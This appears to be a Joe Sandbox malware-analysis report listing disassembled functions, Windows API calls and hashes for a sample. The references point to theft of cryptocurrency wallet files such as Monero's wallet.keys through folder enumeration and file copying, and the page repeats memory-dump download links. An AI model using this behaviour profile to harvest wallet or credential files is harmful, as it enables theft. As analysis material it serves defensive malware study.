Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 80856b25300af247085e88ee4d5ebb2ed6799a8461deb8500eb08c233374fb88
Instruction ID: 976651e69c9ac2dbb6cd8c2128857e0292d038bf57391c580f7342a4224dda2b
Opcode Fuzzy Hash: 80856b25300af247085e88ee4d5ebb2ed6799a8461deb8500eb08c233374fb88
Instruction Fuzzy Hash: 9C91F371910148FBDB15FBA0DCA9FEE7378AF54300F404169F506A64A1EF387A49DBA2

Function 007AB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

lstrlen.KERNEL32(00000000), ref: 007AB42E
lstrlen.KERNEL32(00000000), ref: 007AB442

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 336355b5e399b4b74d42eb4b3b1972103dd2928a3347c9178877378330752f74
Instruction ID: 5c27c0e72d746fe75472202f6b6561ea4455ce5f13cd74529f009d0bca97f348
Opcode Fuzzy Hash: 336355b5e399b4b74d42eb4b3b1972103dd2928a3347c9178877378330752f74
Instruction Fuzzy Hash: 9A71F571910108FBDB15FBA0DCAAEEE7379BF54300F404528F506A6591EF386A09DBA2

Function 007B4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

lstrcat.KERNEL32(?,00000000), ref: 007B4BEA
lstrcat.KERNEL32(?,013FE970), ref: 007B4C08

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B492C
Part of subcall function 007B4910: FindFirstFileA.KERNEL32(?,?), ref: 007B4943

Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C0FDC), ref: 007B4971
Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C0FE0), ref: 007B4987
Part of subcall function 007B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 007B4B7D
Part of subcall function 007B4910: FindClose.KERNEL32(000000FF), ref: 007B4B92

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B49B0
Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C08D2), ref: 007B49C5
Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B49E2
Part of subcall function 007B4910: PathMatchSpecA.SHLWAPI(?,?), ref: 007B4A1E
Part of subcall function 007B4910: lstrcat.KERNEL32(?,013FF930), ref: 007B4A4A
Part of subcall function 007B4910: lstrcat.KERNEL32(?,007C0FF8), ref: 007B4A5C
Part of subcall function 007B4910: lstrcat.KERNEL32(?,?), ref: 007B4A70
Part of subcall function 007B4910: lstrcat.KERNEL32(?,007C0FFC), ref: 007B4A82
Part of subcall function 007B4910: lstrcat.KERNEL32(?,?), ref: 007B4A96
Part of subcall function 007B4910: CopyFileA.KERNEL32(?,?,00000001), ref: 007B4AAC
Part of subcall function 007B4910: DeleteFileA.KERNEL32(?), ref: 007B4B31

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B4A07

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 615a44220f6923375306a4092551dc5e0f3ac97abf5fd97c257766f67a815c2c
Instruction ID: 4fea4d36e2956ff236fd35ee59b31b3c6575ceb6b2c7eca66c0cfdcbeaf5abd4
Opcode Fuzzy Hash: 615a44220f6923375306a4092551dc5e0f3ac97abf5fd97c257766f67a815c2c
Instruction Fuzzy Hash: 8441C5BB904204ABD754F7A0EC86FEE337DA789700F40850CB5495A196ED796F888BD2

Function 007A6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 007A6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 007A6753

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e12f9d48188e105cc45cdecf89e04edc2e44858810f6c56089c060ae84153ff8
Instruction ID: b0bffe185cba1b5cc3815fa80cbf096b3758daebac5db7cc2e8b75bd02b0df40
Opcode Fuzzy Hash: e12f9d48188e105cc45cdecf89e04edc2e44858810f6c56089c060ae84153ff8
Instruction Fuzzy Hash: 8D41EC74A00209EFCB44CF98C494BADBBB1FF88315F248299E9599B355D735EA81CF84

Function 007B5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

lstrcat.KERNEL32(?,00000000), ref: 007B508A
lstrcat.KERNEL32(?,013FF580), ref: 007B50A8

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B492C
Part of subcall function 007B4910: FindFirstFileA.KERNEL32(?,?), ref: 007B4943

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 1ba782f1259cb19b7a982cb4cae260bdf0042fd539552bdf03ff89edf046fd66
Instruction ID: 71aee4feb37a9e9f3eacffe25d2dac40a9c009a2ca010501574ea13ce1f8d286
Opcode Fuzzy Hash: 1ba782f1259cb19b7a982cb4cae260bdf0042fd539552bdf03ff89edf046fd66
Instruction Fuzzy Hash: 6F018876914208E7DB54FB60DC86EEE737CAB54300F004558B64996191EE78AE88CBE2

Function 007A10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 007A10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 007A10F7

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d15624209e7df0ab47bb3627d79064393f435959118cbfb3158b9cef15938c54
Instruction ID: 4212f8dfd6f4f4b0a67cc3edff9e4cca81ecabba36e3c71b0b7e8d276b6cf627
Opcode Fuzzy Hash: d15624209e7df0ab47bb3627d79064393f435959118cbfb3158b9cef15938c54
Instruction Fuzzy Hash: 7EF0E271641208BBEB149AA4AC89FABB7ECE705B15F300548F504E7290D572AE00DAA1

Function 007B8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,007A1B54,?,?,007C564C,?,?,007C0E1F), ref: 007B8D9F

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8e48d42fb6ef03bbf17028d5eaf27121e1a1c8373fe4cf5cfc62060dc1343c72
Instruction ID: 743ae814679123ab558e30d57276bdbde5a540fe81516de59156b9b73a37f5ec
Opcode Fuzzy Hash: 8e48d42fb6ef03bbf17028d5eaf27121e1a1c8373fe4cf5cfc62060dc1343c72
Instruction Fuzzy Hash: 1AF09270D04208FBCB14EFA4D5597DCBB78EB14310F10819AE8666B390DB796A55DB82

Function 007B8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
